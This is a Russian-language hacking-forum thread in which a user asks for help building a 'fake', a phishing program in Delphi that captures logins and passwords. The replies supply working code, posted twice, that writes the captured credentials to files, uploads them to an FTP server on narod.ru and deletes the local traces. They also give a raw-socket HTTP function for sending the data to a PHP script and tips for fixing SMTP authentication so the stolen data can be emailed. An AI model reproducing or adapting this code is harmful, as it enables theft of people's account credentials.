при создание фейка по гайду http://www.zhyk.ru/forum/showthread.php?t=98162
выдает ошибки
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
ПОМОГИТЕ
________________
Morituri te salutant!
Последний раз редактировалось l_F; 05.12.2010 в 18:41.
А тебе обязательно использовать idsmtp ?!
Используй старый добрый idftp
Зарегай где нить хостинг бесплатный с поддержкой ftp такой есть у яндекса, у юкоза и их тьма вообще!!!
Вот тебе мелкий код... сам подправишь если будет необходимо!
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
i, int:integer;
begin
Memo1.Lines.SaveToFile('c:\login.txt');
memo2.Lines.SaveToFile('c:\pass.txt');
begin
randomize;
for i:=1 to 1 do
int := 1 + Random(1000);
begin
idftp1.Host:='ftp.narod.ru';
idftp1.Port:=21;
idftp1.Username:='login';
idftp1.Password:='*****';
idftp1.Connect;
idftp1.ChangeDir('YOU Directory');
idftp1.Put('c:\id.txt', IntToStr(int)+'login.txt', true);
idftp1.Put('c:\sid.txt', IntToStr(int)+'pass.txt', true);
idftp1.Disconnect;
begin
deletefile('c:\login.txt');
deletefile('c:\pass.txt');
end;
end;
end;
end;
end;
А тебе обязательно использовать idsmtp ?!
Используй старый добрый idftp
Зарегай где нить хостинг бесплатный с поддержкой ftp такой есть у яндекса, у юкоза и их тьма вообще!!!
Вот тебе мелкий код... сам подправишь если будет необходимо!
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
i, int:integer;
begin
Memo1.Lines.SaveToFile('c:\login.txt');
memo2.Lines.SaveToFile('c:\pass.txt');
begin
randomize;
for i:=1 to 1 do
int := 1 + Random(1000);
begin
idftp1.Host:='ftp.narod.ru';
idftp1.Port:=21;
idftp1.Username:='login';
idftp1.Password:='*****';
idftp1.Connect;
idftp1.ChangeDir('YOU Directory');
idftp1.Put('c:\id.txt', IntToStr(int)+'login.txt', true);
idftp1.Put('c:\sid.txt', IntToStr(int)+'pass.txt', true);
idftp1.Disconnect;
begin
deletefile('c:\login.txt');
deletefile('c:\pass.txt');
end;
end;
end;
end;
end;
Это что за нах?! Чо за *****кодер это придумал?
лить на фтп пароли
учимся
Цитата:
uses WinSock;
function GetIPAddress(name: string):string;
var
p: PHostEnt;
begin
try
p:=gethostbyname(pchar(name));
if p=nil then result:=''
else result:=inet_ntoa(PInAddr(p.h_addr_list^)^);
except end;
end;
function HttpGet(url,php:String):String;
var
ws: TWSAData;
TCP_sock:TSocket;
SockAddr1:TSockAddr;
packet:string;
g,i:Integer;
s:AnsiString;
read:array[1..1024] of ansichar;
begin
WSAStartup($202,ws);
TCP_sock:=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddr1.sin_family:=AF_INET;
SockAddr1.sin_port:=htons(80);
SockAddr1.sin_addr.S_addr:=inet_addr(PChar(GetIPAd dress(url)));
connect(TCP_sock, SockAddr1, SizeOf(SockAddr1));
packet:='GET /'+php+' HTTP/1.1'+#13#10+
'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.6.30 Version/10.63'+#13#10+
'Host: '+url+#13#10+
'Connection: close'+#13#10+
#13#10;
send(TCP_sock,packet[1],Length(Packet),0);
s:='';
repeat
g:=recv(TCP_sock,read,SizeOf(read),0);
for i:=1 to g do s:=s+(read[i]);
until g<=0;
Result:=s;
CloseSocket(TCP_sock);
WSACleanup;
end;
Зачем так всё усложнять. Ошибка 5.7.1 на Яндексе, и посыл на [Ссылки могут видеть только зарегистрированные пользователи. ] на Mail.ru происходит из-за того, что в коде логин и пароль заданы, а в компоненте idSMTP авторизация не включена. Автор просил помоч с этой проблемой, да и судя по всему делал фейк по этой теме.
Регистрация: 19.08.2010
Сообщений: 35
Популярность: 43
Сказал(а) спасибо: 49
cоздать фейк на делфи
